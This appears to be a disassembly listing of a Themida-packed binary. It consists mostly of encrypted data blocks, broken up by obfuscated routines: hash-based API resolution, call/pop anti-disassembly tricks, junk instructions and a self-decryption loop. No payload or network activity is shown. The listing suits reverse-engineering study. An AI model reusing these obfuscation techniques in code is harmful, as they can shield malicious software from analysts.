dd 0D6AE43E5h, 0C2Fh, 0EB0017C8h, 30455202h, 71869147h
dd 0B0C5D288h, 0EE0314C7h, 19BCE9E0h, 5900E9FEh, 9B40293Eh
dd 0DC7E677Ch, 27C6A6BBh, 0AB0DABE1h, 6917B1CBh, 0DA1056ABh
dd 0E0D35970h, 70A6ECD9h, 76D35970h, 0A274576Fh, 2D73C8B5h
dd 0D3596FF7h, 1DEF6FDh, 4D252C3h, 72E24813h, 9EC93A84h
dd 6538092Ah, 0B9DAA772h, 983E77CCh, 0CFE7B47Fh, 14936DFh
dd 0D1853CDBh, 0A790A5C6h, 0E4CDE2F5h, 220E2334h, 0D8C51106h
dd 1941992h, 4D181FDBh, 19489C3h, 0AAAD6CDBh, 0CB262DFh
dd 87D27E0Ah, 0FCC7E82Ch, 8A69D481h, 0C16DD8F1h, 0E3FFB489h
dd 7661346Dh, 6C6B2EABh, 8C17334Bh, 15000000h, 73FD89ABh
dd 2164C92h, 151CD359h, 4A00E95Bh, 8A8D4F32h, 859242BFh
dd 7E993DBAh, 716636B3h, 71A5B25Ch, 0C4213E84h, 2027DB00h
dd 0EEEDEB28h, 7B53E8F4h, 0B3Bh, 0FF1403D4h, 3C514616h
dd 7D928553h, 0BCD1C694h, 21700D3h, 0DD0D5F4h, 4D0CF50Ah
dd 8F4C354Ah, 0C88A7388h, 3BDABACFh, 0AB0CBFF5h, 7D2BC5CBh
dd 0B2A572ABh, 59E5B79Ah, 85DD5415h, 0D8C5E615h, 0F1DEF99Fh
dd 58A475ABh, 5C747BD3h, 5DF135h, 0C7330000h, 9E370215h
dd 0DAA5B265h, 0C451F50Dh, 79CE2310h, 596FFD33h, 0E4FC03D3h
dd 1896FF4h, 766E75DBh, 0F4E1A667h, 0BC3B13A8h, 5500000Ah
dd 957E9384h, 0D2BBD0C7h, 13FC1106h, 523B5047h, 717F9483h
dd 898E4D58h, 0CBCC8B74h
dd 0F08CDB6h, 564111FAh, 7CC26141h, 0CBAB0B46h, 0C704B24Ch
dd 0B8350017h, 0A926F1E6h, 0A11EE9EEh, 726534F3h, 0EEB9DAA7h
dd 55349F9Ah, 0CD79E47Bh, 1BA7FD85h, 7F984079h, 25A4B67h
dd 0C3490000h, 0CF07105Dh, 767B9CE2h, 7A81DB01h, 1EEC8351h
dd 5EB3CE99h, 991FE218h, 710C5CEh, 0BAC16F3Ch, 0BD19FEA2h
dd 95427BD0h, 0D2EAB782h, 41270DE2h, 1F0C13D6h, 62309AFDh
dd 344C54EBh, 0D83C1957h, 5B85A5EBh, 848BDDECh, 0EBBC5E97h
dd 925F2A2Dh, 1E575C71h, 0C3905B7Ch, 116C8ABh, 0DB54E409h
dd 0C49C31F9h, 9F7h, 0B3C8CF90h, 0F80D0ACAh, 394E490Fh
dd 788D8A50h, 0B6CBCC8Fh, 0D18421A8h, 11C8B1C6h, 5308F106h
dd 94462F44h, 0EF8E6E83h, 0AB0A73A9h, 31DF79CBh, 370215C7h
dd 0B3EC1CF9h, 5F2CF7E0h, 59704B81h, 0FC9A51D3h, 0AC99BADBh
dd 5C7B1E57h, 0C4825444h, 8188DB07h, 0C3F93F94h, 0C9DB07C4h
dd 72ABAAC2h, 0B29BB0A7h, 7E9940E7h, 4315E6B3h, 2A683354h
dd 0B6FCE92Dh, 0E2AFD599h, 0B3DEFF9Fh, 4F30EEA6h, 0EDB8DF7Eh
dd 0BD12FF20h, 75F0AD9Bh, 0DDBB905Ah, 0E2B01FA7h, 8F8EA6ADh
dd 7F948356h, 0C208C396h, 0E2B01F8Ch, 80D18B92h, 2B73488Eh
dd 4FE8B3D4h, 0B83762Dh, 0B0128FC5h, 0D48E95E2h, 0D9F15390h
dd 3B3324F6h, 0FC1FCFA0h, 28744CE1h, 0C1000009h, 9F20710h
dd 4E374C4Bh, 8F788D8Ah, 0CEB7CCCBh, 0E5F3080Fh, 512C1E4h
dd 475007F0h, 8B8C4932h, 0CACD8D76h, 0F036D5B5h, 0CBAB09BAh
dd 907826C0h, 59705280h, 1F8A37D3h, 84CA1F74h, 0D359704Eh
dd 396F4D54h, 3FD35970h, 0F6C1D688h, 0DEF00829h, 0DCC90D0Ah
dd 0BCA96587h, 6A100971h, 0AF456252h, 444BDB00h, 5D7A1E57h
dd 73643770h, 8D8A345Bh, 75235C49h, 0D4F5E2B2h, 2A425503h
dd 599FE52Bh, 1166E2ABh, 0AB5995CBh, 7C949BE2h, 8FC8B5BCh
dd 0CAB3C8CFh, 0A2170F08h, 4FFC1856h, 885E2BAh, 7D1E0000h
dd 0B85C455Ah, 0F7A18A9Fh, 34E2CBE0h, 76250E23h, 8B3E4C61h
dd 475C7B1Ah, 879CBB5Eh, 0C9DEF99Eh, 4193EE0h, 93F8524h
dd 0FCBAB09h, 80BAC775h, 63D35970h, 5C92D8B3h, 62D35970h
dd 20253A5Bh, 6D8D31E7h, 8A8935C7h, 20F8C9EAh, 879F6C37h
dd 0B5A272E3h, 19E41A60h, 12C7D359h, 38505705h, 6806F339h
dd 50CDB01h, 1D3ADF18h, 5D7A1F08h, 74633770h, 8A77F5Ch
dd 0E9000008h, 0D8C51106h, 17F8592h, 0B9848BDBh, 17EF52Fh
dd 0DA1310DBh, 804D183Fh, 36E24D68h, 0E3FFF07Ch, 138C5h
dd 12C7C300h, 1ABD3A05h, 0E5B532FDh, 4D29542h, 5A7B4813h
dd 9CD56E39h, 0AC12DDFAh, 0AE190D51h, 0D6EE0FDDh, 1C3126F3h
dd 0A6716633h, 3926EC68h, 596CF5F3h, 9044FBD3h, 209B6687h
dd 0DC790873h, 6D73A9EFh, 7279D359h, 6D093F85h, 80FD359h
dd 2CE9D2E7h, 94D6602Bh, 79D3596Eh, 5D261CCh, 1B4B5379h
dd 4E6F250Eh, 4D858F39h, 0B3EC1A60h, 0EBF2D358h, 5413C5FEh
dd 0FECB9681h, 6BE8C5DDh, 0AD96ABACh, 0A522EDEAh, 9A17E2F5h
dd 920FDAFDh, 0A309D4C3h, 7AA400DCh, 0A9C2DB0Eh, 0E3905F3Eh
dd 292EE978h, 2AED0F14h, 4379BF3Ah, 49D358C9h, 3BC88842h
dd 6B2E1129h, 0F263A16Ch, 36EF3522h, 3CDB00F5h, 0BCE0F49Ch
dd 0BF4F32Ch, 0CDB26CA1h, 0BCDB7E5Eh, 7C657A9Bh, 0D3C721DDh
dd 3E3CDD8Fh, 14521Dh, 6D9FE5D2h, 73DB00CBh, 7926A16Ch
dd 0BFD87F0Eh, 116C1AAh, 2489D36h, 0DB00CBCCh, 83B9FFD2h
dd 89DB00CBh, 0A5496182h, 1C5298B0h, 0FFDB00CBh, 0A7743F58h
dd 0E4D1F2F9h, 0A8EFB99Eh, 0A3B8BFE2h, 0F5B2659Eh, 9D6A3522h
dd 0CCE4B17Ch, 14292EE9h, 54696E2Bh, 0A072AB68h, 22435407h
dd 25F1660Ah, 0E8AAE338h, 0DE4F35EFh, 5980F817h, 1DC85141h
dd 0C7CEDB01h, 0EEDD7FFCh, 11D72A8h, 507178DBh, 13064F3Bh
dd 346EF8C3h, 4FD35970h, 5D7A1952h, 92ADC592h, 1377B27h
dd 530A1BA8h, 8000000h, 2D489ABh, 1EE8BD9Ch, 0B6712306h
dd 0C40AF7E0h, 0D358778Eh, 0A16C8D94h, 5877E117h, 0AE19C6D3h
dd 90ECA03h, 494E0EF1h, 6077235Ch, 352B2148h, 0FCD3589Ch
dd 589C80B6h, 0CB0147D3h, 0D1D3589Ch, 0B5651CCAh, 346081A2h
dd 0FFFFFF96h, 6671245Dh, 17C7684Eh, 3ADA1300h, 0CD1F051Dh
dd 0F713064Dh, 59707BB1h, 597A81D3h, 0AA978385h, 1EA7F590h
dd 75ABF146h, 7BD05970h, 38405C74h, 25000000h, 1EEF5603h
dd 172F10CEh, 0C3130631h, 2F65ABEFh, 35D35970h, 70E61C62h
dd 0E5ECD359h, 36574014h, 1D56AB62h, 0CC895A7Dh, 0C7CDB3CBh
dd 722E0215h, 2A6CA8h, 0ABAE0000h, 70DA1056h, 0D9E0D359h
dd 0DA3A1DC1h, 2F65AB06h, 0F6D35970h, 70255BA1h, 242BD359h
dd 0B2860B0Ch, 15C76FABh, 0A8722E02h, 3B0611C7h, 0DDAE69A2h
dd 59706197h, 3F6067D3h, 9F8FA774h, 0D3597069h, 0A736A14Eh
dd 706736F1h, 0CAB7D8A5h, 53CC291h, 47DCDFDh, 7EA5BDDEh
dd 58A3C588h, 0B02C58D3h, 6EFFFFF3h, 150215C7h, 31B3CDCh
dd 0F12532DCh, 7729BE04h, 282FDB01h, 7799D35Dh, 0B7B4DB01h
dd 0F1BCDB7Eh, 93845324h, 0C8E3FBC8h, 4F9B15Dh, 740E3F0h
dd 3E000000h, 16Ch, 56ABAE00h, 5970DA10h, 8D9E0D3h, 85294156h
dd 2574490h, 420D0AC9h, 0E30413C5h, 88534412h, 0F6B3A3BBh
dd 0FCDB017Eh, 0EFAD2AF5h, 71DDD3E8h, 54DB0180h, 927B9087h
dd 8607D2C5h, 41ACE911h, 0DDF2E5B2h, 343522F4h, 63647323h
dd 0AC57C239h, 80DB1157h, 0DAE1DB01h, 183FDFC2h, 8225F22Bh
dd 88A0C1D6h, 0F04E704Dh, 0D3CBB8A6h, 0AA2E142Ch, 1C27F5E0h
dd 0BD39h, 31E51E00h, 768E5B26h, 0C4120690h, 2C65ABF0h
dd 0F1D35970h, 0B6DEEED3h, 67884827h, 8F6FAB93h, 17C78E20h
dd 70B8EE34h, 0B7BED359h, 56ABC296h, 5970DA10h, 0C1D9E0D3h
dd 130664E4h, 9783EFC3h, 0A7F590AAh, 3B291Eh, 6270000h
dd 0ABEFC313h, 59702F65h, 5A2E35D3h, 15C76FABh, 89AB2E02h
dd 15C79116h, 0B06A3702h, 0A7BF835Eh, 0F1378C6Fh, 0D35912BBh
dd 0BCA2BAC1h, 0B2A572ABh, 0C4021AE7h, 2Fh, 0C3130606h
dd 1D56ABEFh, 0C7945F78h, 7089BFAFh, 1750D359h, 0BF8C5740h
dd 0F55A6A7h, 0D35970D9h, 5207D8DFh, 0AB502445h, 215C76Fh
dd 0ABA8722Eh, 9CB4A372h, 0FFFF3A5Eh, 17C7A0FFh, 639C3500h
dd 0A78AA2B5h, 696E30F7h, 77225B48h, 43189560h, 0F41B3354h
dd 1C09CD4Ah, 6E8D31E3h, 0FAD23668h, 7A471233h, 0DC1D6362h
dd 0A3DB00B1h, 90A8AF6Ah, 87DCC9D0h, 0B10B41h, 0F20A11DBh
dd 0B1518B15h, 6134DB00h, 6E2EAB76h, 4F4A9E69h, 918655E4h
dd 3FD8F9C6h, 9C4B0942h, 0ECB7D8FFh, 0B6EC321Fh, 0BCDB00B1h
dd 17829DB5h, 0FF42276Bh, 7CC217E3h, 0DB00A946h, 0A174454Ch
dd 59829EB6h, 80000000h, 0B1A672ABh, 70487EC4h, 474ED359h
dd 4A8A8B2Fh, 44E6085Dh, 2A330CDAh, 578C7C94h, 1EDB00BFh
dd 0BF4D83C9h, 4C53DB00h, 806D7434h, 0BFAFE52Bh, 0E2B5DB00h
dd 0BF669Ch, 44656CDBh, 0ED1E258Ah, 284036DFh, 0C587C14Bh
dd 89A2DB00h, 0AA38721Eh, 0B801E3F0h, 0FF000000h, 350017C7h
dd 27F2E5B8h, 24EFE8AAh, 0CBE0F7A7h, 5974E7D5h, 0A68CAED3h
dd 0FAEC6E5Eh, 8052354Dh, 0F9998297h, 10604845h, 0B4A1F940h
dd 5988386Eh, 16373ED3h, 0CC080D4Bh, 0E7F0A6DFh, 1D8AD0CFh
dd 23DB0197h, 0F85D071Ch, 39E92F1Ch, 3FE2AC48h, 43124B38h
dd 0CC126754h
dd 0E2AC4896h, 3DCFC9Ch, 0F0888FA4h, 669CE2CFh, 6CE2AC17h
dd 3D264D65h, 1281799Eh, 0DBFC1B18h, 2796E46h, 41120000h
dd 84584156h, 0C3957E93h, 0D6BFD4h, 7A190217h, 8F3A485Dh
dd 3B504716h, 7B908752h, 0BDD2C592h, 1502D4h, 53B8120h
dd 0BCBAB03h, 14C7C371h, 5505EE03h, 6412D42h, 9FD8C511h
dd 0C6C5DDFAh, 1764B80h, 7F4A51DBh, 176BBF5h, 0B7D9D6DBh
dd 0F0744AACh, 1E395132h, 0AE4307B3h, 5EB3E3FFh, 1B5E218h
dd 0C9E1E8DBh, 0F5ADh, 72ABAB00h, 0B89BB3A4h, 0CB04F1E6h
dd 0C13E090Eh, 6C390413h, 0BD56334Bh, 4417D084h, 1673253h
dd 28DDB815h, 0AE68890Bh, 0BE178F4Fh, 24071FE3h, 29B6671h
dd 400B0CC9h, 7D6B5B73h, 44D35876h, 65899D22h, 5E00F94Fh
dd 80A16E39h, 0C2D58568h, 512C4ADh, 0B1BFC3Ah, 3A27484Fh
dd 9787F4h, 71868DDBh, 74BA4EC7h, 0DB00973Eh, 2F1C3D44h
dd 0E0F7A1DAh, 35AAAF15h, 0F1759072h, 0B9C8B8D0h, 0BFE2ABB1h
dd 3D76CBB8h, 4BB17C9Bh, 0B3B80AF0h, 0DBF3144Ch, 1D3225F8h
dd 10C66134h, 0CB968157h, 4512DDFEh, 0D4D32C24h, 7B10FC1Bh
dd 15AA3h, 3522F300h, 72653720h, 0B3A4745Dh, 0F6E1B59Eh
dd 3225F8E1h, 0EBBA0F1Dh, 311A2F28h, 735C7166h, 0B39CB1A6h
dd 0FFDFF4E3h, 2E41A60h, 50EACBABh, 6A14C7A2h, 0BD7942B1h
dd 0E8FD1E1Dh, 0EBECAAE3h, 292EF0D3h, 17C72814h, 0E6B83500h
dd 0BCB04F1h, 23CDF40Ch, 0A0F5E232h, 5970245Ah, 0B232AD3h
dd 81A9C60Ch, 0F8AFDB01h, 25123324h, 81548AD0h, 535ADB01h
dd 0FAC5D282h, 0DD16152Dh, 1C051A3Dh, 54925D7Ah, 0E02613C3h
dd 0E2AFD506h, 9582550Ch, 0E4DCFDCAh, 0FC1FDA51h, 0BCF5CD62h
dd 55000000h, 957E9384h, 0D2BBD0C7h, 13FC1106h, 523B5047h
dd 717F9483h, 898E4D58h, 0CBCC8B74h, 0F08CDB6h, 564111FAh
dd 7CC26141h, 0CBAB0146h, 604B24Ch, 83D8C511h, 0C48F884Ah
dd 11EFDFF7h, 17DB07C4h, 16C84510h, 5303EC01h, 749BDFABh
dd 829F82Eh, 3DF7FEDBh, 2647EAE6h, 3B5C0039h, 58AD4623h
dd 779DC12h, 0EEDBE2DBh, 77972A8h, 597178DBh, 57996869h
dd 0E79744Fh, 5408DF7Fh, 0B6D7C093h, 0C7978095h, 0D28805D0h
dd 0D27FFAC5h, 1106D867h, 70D5F7FCh, 0EDC138F4h, 94B5A272h
dd 0DEF9997Ch, 153B13h, 0AB7D0000h, 85BB0156h, 8BD35970h
dd 7070A684h, 6F76D359h, 0C7EB8957h, 0B9360116h, 0B633FE19h
dd 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh
dd 7CF9C4D3h, 3CF4BFD8h, 815F5457h, 4C7h, 4EF8300h, 5C243C87h
dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 51241489h, 0C181E189h
dd 4, 8704E983h, 895C240Ch, 0BB532404h, 3B1A508Bh, 1BBFBE56h
dd 0F30116B3h, 0CCF3815Eh, 89566339h, 9A685BDAh, 8900001Eh
dd 4812424h, 424h, 51525800h, 44B4AB9h, 244C3105h, 408F5904h
dd 8708108h, 5044B4Ah, 582434FFh, 8B04C483h, 89532414h
dd 4C381E3h, 83000000h, 1C8704C3h, 0CCE95C24h, 72FFFA0Eh
dd 71C5F57Fh, 51B89698h, 519C9901h
db 9Dh, 25h
; ---------------------------------------------------------------------------
loc_5E855E: ; CODE XREF: Themida_:005E692Cj
mov eax, 7AE7053h
add eax, ebp
push eax
mov byte ptr [ebp+7A80619h], 47h
push 0CF381725h
push dword ptr [ebp+7A81895h]
lea eax, [ebp+7A83BDFh]
call eax
mov ebx, eax
lea eax, [ebp+7A8111Dh]
push eax
push 104h
call ebx ; _iob
mov byte ptr [ebp+7A80619h], 53h
push 8307F8BFh
push dword ptr [ebp+7A81895h]
lea eax, [ebp+7A83BDFh]
call eax
mov [ebp+7AE5360h], eax
cmp dword ptr [ebp+7A807CDh], 0
jz loc_5E85C8
mov ebx, [ebp+7A8144Dh]
jmp loc_5E85CD
; ---------------------------------------------------------------------------
loc_5E85C8: ; CODE XREF: Themida_:005E85B7j
mov ebx, 0
loc_5E85CD: ; CODE XREF: Themida_:005E85C3j
push 100h
lea esi, [ebp+7AE5364h]
push esi
push ebx
call dword ptr [ebp+7A8075Dh]
lea esi, [ebp+7AE5364h]
add esi, eax
jmp loc_5E85EE
; ---------------------------------------------------------------------------
loc_5E85ED: ; CODE XREF: Themida_:005E85FAj
dec esi
loc_5E85EE: ; CODE XREF: Themida_:005E85E8j
cmp byte ptr [esi], 5Ch
jz loc_5E8600
cmp byte ptr [esi], 2Fh
jnz loc_5E85ED
loc_5E8600: ; CODE XREF: Themida_:005E85F1j
mov byte ptr [esi], 0
lea eax, [ebp+7AE5364h]
push eax
call dword ptr [ebp+7AE5360h]
pop eax
jmp eax
; ---------------------------------------------------------------------------
db 76h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 81h, 4Eh, 61h
dd 6D0900BAh, 37C17D1h, 6665363h, 3951BC64h, 3E64F8B2h
dd 6923907Ah, 0F010125Ah, 9064DB24h, 9B47A099h, 96774572h
dd 0E947A8BCh, 0EA11BAD2h, 0E710B8BEh, 8D549950h, 0AE72948Dh
dd 0B8E0F07h, 0F000000h, 584h, 0E0816600h, 8D89A305h, 7A81731h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 21C35747h
dd 8B831B81h, 0A8249195h, 5985C707h, 9407A80Ah, 0F000059h
dd 870FC2BFh, 0Fh, 0AE9h, 1411BC00h, 3EB3E122h, 0C7808BA3h
dd 0A8093985h, 7, 0FFE8A00h, 48Ch, 2FB86600h, 0DDB5FFD4h
dd 107A805h, 0A80B0185h, 11E907h, 13F10000h, 2BD4F58Ch
dd 8D5EA12Eh, 0F1D2C036h, 0FFF75879h, 0A81A9995h, 0E0816607h
dd 6A05E9h, 0D2195FFh, 0C08B07A8h, 0DE669EBh, 0BE61499Dh
dd 42503990h, 0F1DFCB79h, 1A58265Ch, 5AA1D210h, 0EB72DF76h
dd 0EB14288Bh, 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 241F9ECAh
dd 0A48A4109h, 0CC6CE185h, 0E8207A87h, 74EB251Dh, 78291E2Ah
dd 719D4513h, 0B438B540h, 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h
dd 0A1C1CFA5h, 0DD80B8AFh, 16264237h, 6C73F678h, 0E86625E6h
dd 11h, 67713A5Fh, 45D2EC75h, 8A6FE66h, 0DA5603BDh, 895AF5B4h
dd 0A82291BDh, 72C28107h, 89000066h, 0A819E59Dh, 6807h
dd 8B660000h, 81665FDEh, 0FFE043DEh, 0BF0F1734h, 0B70F59C3h
dd 96C181C1h, 3140E22Ch, 0A8093D9Dh, 19F18107h, 89131122h
dd 0A803D195h, 19E98107h, 0E95059FDh, 0Bh, 1B4108FAh, 0F32EED43h
dd 893BF05Ah, 858B3A0Ch, 7A8357Dh, 65DBD09h, 0EF8107A8h
dd 6049A412h, 32D58589h, 0C78107A8h, 6049A40Eh, 70FF81F8h
dd 0FFFFF9Ah, 2D85h, 12E900h, 37C10000h, 0AB63ED96h, 4D17623Dh
dd 0E886E2DDh, 0F7666CF3h, 31E9h, 4D796C00h, 867437FFh
dd 0E3F2FE1Ah, 185F7AB4h, 8B60A312h, 0A81BC99Dh, 0D88B6607h
dd 0FF5DE961h, 11C0FFFFh, 5B422A50h, 0EC1EF753h, 31C4B9ADh
dd 0CE81661h, 6C000000h, 2A5C15AAh, 0BB32D416h, 8B0C9604h
dd 0A8064DBDh, 0C0815807h, 5BDAh, 7E9h, 0A97D4100h, 0CE424F6Eh
dd 0BFCD85BAh, 0B2EA8128h, 8B28BFB6h, 0E930FFDEh, 5, 534381B9h
dd 9D035E1Fh, 7A80C89h, 0E38DF681h, 30B1227Fh, 25E5F681h
dd 0E5801AD8h, 55EE8117h, 5631409Dh, 8FCE8B66h, 118D8B00h
dd 8307A806h, 8D0F03E8h, 6, 24C58D8Bh, 0F4807A8h, 589h
dd 0BACBB900h, 0F4A78FEh, 0FFFFA885h, 852960FFh, 7A80EADh
dd 658D8D61h, 6A07AE75h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0A604C350h, 180C7226h
dd 2065CE81h, 8D897CEAh, 7A81731h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 0C9C35040h, 8B665499h, 5985C7F1h
dd 5007A80Ah, 6A00006Bh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0C2DCC357h, 85C780DBh
dd 7A80939h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5E897F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E897F proc near ; CODE XREF: Themida_:005E8977p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5E897F endp
; ---------------------------------------------------------------------------
mov eax, ds:0FF85CB2Fh
mov ch, 0A9h
adc [eax+53006A07h], ch
call sub_5E89A4
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E89A4 proc near ; CODE XREF: Themida_:005E899Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5E89A4 endp
; ---------------------------------------------------------------------------
test [esi], esi
mov [ebp+7A817D1h], edx
call dword ptr [ebp+7A81A99h]
sub si, 0C17Ch
push 0
call dword ptr [ebp+7A80D21h]
mov eax, eax
jmp short loc_5E8A1C
; ---------------------------------------------------------------------------
db 4
dd 5EFFDEA5h, 35E4A903h, 0D2E9AEE2h, 20781020h, 0C1E9746h
dd 53AADAC4h, 0D6E18F54h, 8E72E8CFh, 0EE59DA6Dh, 0B77CEBEDh
dd 0B8D00638h, 0AAEC2D7Bh, 0DEF6D95h, 0C0F29D0Ch, 0ECF7E1BEh
dd 6D617654h, 3E390603h, 9B90F069h
; ---------------------------------------------------------------------------
loc_5E8A1C: ; CODE XREF: Themida_:005E89D1j
call near ptr loc_5E8A25+2
aad 2Bh
dec ecx
pop ss
loc_5E8A25: ; CODE XREF: Themida_:loc_5E8A1Cp
call far ptr 0:0CE9A4h
pop ecx
xor esp, edi
db 64h
insb
shl dword ptr [eax-10FA92C5h], 0F5h
pop edi
jg loc_5E8A44
or si, 84A9h
loc_5E8A44: ; CODE XREF: Themida_:005E8A39j
add edi, 7519h
jmp loc_5E8A5B
; ---------------------------------------------------------------------------
db 76h
; ---------------------------------------------------------------------------
retn 6C7Dh
; ---------------------------------------------------------------------------
db 48h
dd 7243AA2Ah
db 47h, 0ABh, 21h
; ---------------------------------------------------------------------------
loc_5E8A5B: ; CODE XREF: Themida_:005E8A4Aj
mov eax, 1D1Ah
mov [ebp+7A81B5Dh], edi
loc_5E8A66: ; CODE XREF: Themida_:005E8ACBj
push dword ptr [edi]
pusha
jz loc_5E8A75
mov [ebp+7A80331h], eax
loc_5E8A75: ; CODE XREF: Themida_:005E8A69j
mov ebx, 2BF5AE0h
popa
pop ecx
sub bl, 1Bh
sub ecx, 2C3656E9h
mov bx, 0F47Eh
xor ecx, 8B4CA9Eh
movzx ebx, dx
xor ecx, 47DAAFFCh
mov esi, 6A72CC95h
mov [edi], ecx
sub [ebp+7A82589h], ecx
sub edi, 6176A4EEh
jmp loc_5E8AC2
; ---------------------------------------------------------------------------
dd 6ED2376Dh, 71285E82h, 0C9A501E5h, 85A360AAh
db 76h, 0F0h
; ---------------------------------------------------------------------------
loc_5E8AC2: ; CODE XREF: Themida_:005E8AABj
add edi, 6176A4EAh
sub eax, 1
jnz loc_5E8A66
sub dx, 0D23Ch
jmp loc_5E8B06
; ---------------------------------------------------------------------------
db 0DEh
dd 930275B8h, 9DE61D8Ch, 6E2E81E8h, 6C6C6474h, 6C6C642Eh
dd 0BD146700h, 0B98003B2h, 0FEh, 2 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5E8B06: ; CODE XREF: Themida_:005E8AD6j
jmp loc_5E91BE
; ---------------------------------------------------------------------------
push 7AE7819h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE78C7h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE7971h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE7A56h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE7B18h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE7BDAh
jmp loc_58941B
; ---------------------------------------------------------------------------
db 0E9h
dd 311A2F28h, 765F7463h, 0B7A0B5A2h, 0F6DFF4E3h, 0D1B3027h
dd 2D2AE9BCh, 6F682F18h, 0B3A4715Ah, 0F2E5B59Eh, 185EFDDDh
dd 0CBAAFAE2h, 0ABA04EE8h, 62AC9A89h, 0ACC40163h, 236Eh
dd 17C7B000h, 0EEF11300h, 97F7B6D8h, 0E6634058h, 180E2334h
dd 0D35926DEh, 160314C1h, 531E39DDh, 5B476E86h, 0D8C51106h
dd 18E5592h, 42885BDBh, 0DB018E0Ch, 98BF5B12h, 25DF00CDh
dd 31AD95E5h, 8471925Dh, 0BD888F4Bh, 0FE3836F0h, 0D5F57400h
dd 1C56E0BDh, 37DB0184h, 4307B31Eh, 0B3E3FFEDh, 0A5BDDA7Ah
dd 24B89h, 6AC38700h, 0B9A66EE7h, 1765273h, 39E019DBh
dd 0CC86531Eh, 0F003E13Bh, 79395197h, 336C4972h, 0DFAC7760h
dd 0BF03F725h, 21A79B9h, 30B0C912h, 8E6E909Fh, 0A0BA56CFh
dd 0F65F031Bh, 910F311Eh, 954B59F9h, 409594ACh, 1A5096EBh
dd 209F3124h, 24053B19h, 32E89F31h, 9F707725h, 4714DFF8h
dd 42023F2Fh, 108A6D9h, 0B71FF836h, 9A3C75CAh, 5575657Dh
dd 1CAE84BAh, 38CC70FAh, 627AA419h, 75AE9BA2h, 0B49DB2A5h
dd 50FDF5E2h, 8D281D9Bh, 48920F8h, 0EDAE0000h, 28ECD5EAh
dd 67311A2Fh, 0A4725B70h, 0E6B59EB3h, 0FBCEDCF1h, 0D7ECEBAAh
dd 172C2BEEh, 596E692Eh, 94A9AE70h, 99CF15B4h, 9FCBAAF8h
dd 17C75705h, 1EF73500h, 5274C9B6h, 0A9D11B09h, 2F20AD7h
dd 0DB0183D1h, 0C1E3D0D7h, 0FB0D6B45h, 1D445C96h, 0C3540730h
dd 98D12613h, 0CEBED6C1h, 0E2AA2BADh, 0B583ACB3h, 7B47E516h
dd 0AF7DF38h, 0F00387C4h, 0BB868D82h, 5187CD22h, 3482F003h
dd 0D8A57067h, 0B0A7732Ah, 26F718E5h, 0CD9A6572h, 0D00411B5h
dd 7B7D9DE3h, 7C838A9Bh, 9384568Fh, 0D2C5957Eh, 7453B7DAh
dd 0B38B2044h, 3DBh, 23385F00h, 687D9A3Ah, 0A9BED97Fh
dd 0E8FD1AC0h, 263B5CFFh, 21F4B118h, 61382136h, 0A3786176h
dd 0E4B69FB4h, 5FFEDEF3h, 0AAF8E319h, 0A14FE9CBh, 0B0A772ABh
dd 1D0018E5h, 0EBECAA7Dh, 54C1FFCAh, 0BB5A9380h, 3F85849Ch
dd 0DB0180DAh, 1AC4D9E0h, 6D6A293Dh, 10583CA2h, 0D1087020h
dd 5CA28FB0h, 0E2B00DA0h, 79B29FA6h, 0AFD1BED9h, 0D946F77Eh
dd 0FB223A4Ch, 0B9BE4012h, 0C3328195h, 0EA77293h, 0FD1502D5h
dd 0B268FC59h, 693423F5h, 6D5A7B9Ch, 0A6716634h, 7CC2C1D9h
dd 0EA587943h, 94A4249h, 0C6E5C951h, 3315931h, 85560000h
dd 0C0947D92h, 3FD9C2D7h, 7C1A0318h, 0BE5D465Bh, 53768499h
dd 7F948352h, 0BFD4C396h, 11601D6h, 3C514618h, 4177BD5Ch
dd 47CBAAF7h, 17C7FFADh, 1EF73500h, 4283C9B6h, 9DB018Dh
dd 8D4EC5E7h, 0A2E85653h, 0DB01E56Ch, 904A6B72h, 0EA196951h
dd 73334B3Fh, 9213576Ch, 55000001h, 6BEC61C3h, 0D285BEABh
dd 2D35652Ch, 0F2139DB2h, 43425A27h, 1D5399EEh, 0D3592Ch
dd 848B395Eh, 325B7C6Ch, 5A61DB01h, 29696331h, 8A8BD03Eh
dd 10DBFC9Ah, 0E0352243h, 6436F1A7h, 0BADBA873h, 1A0A22EFh
dd 0D7E636C1h, 5CF5C0C7h, 5100A03Ah, 9CD69087h, 41E5FD53h
dd 0CD1300D4h, 0DF915AADh, 9DBFACB3h, 0C39170E0h, 0F88B1AD4h
dd 0AD789F3Ch, 0A8A7BFE0h, 93A8AF6Fh, 0F7EFE8AAh, 0FF014F60h
dd 4C3C14A9h, 71000002h, 0B9A2B7A0h, 0FEE7FC1Bh, 3F283D5Ah
dd 7E677C9Bh, 95A3B8DFh, 0B5A27134h, 0F7E0B7A0h, 3B5CF9E2h
dd 7A9D3D26h, 0A0E68565h, 0CBAAF66Ah, 0AB28D670h, 70DA1056h
dd 0D9E0D359h, 6B3CDEC1h, 78BEABACh, 0D3597042h, 33204148h
dd 4EA05EFAh, 6AB1622h, 0F6D3EB0Ch, 8A775FB8h, 0B21344h
dd 0B56219DBh, 0E90AD7A2h, 0F42E7D4h, 5B7C1E06h, 0B5A2C390h
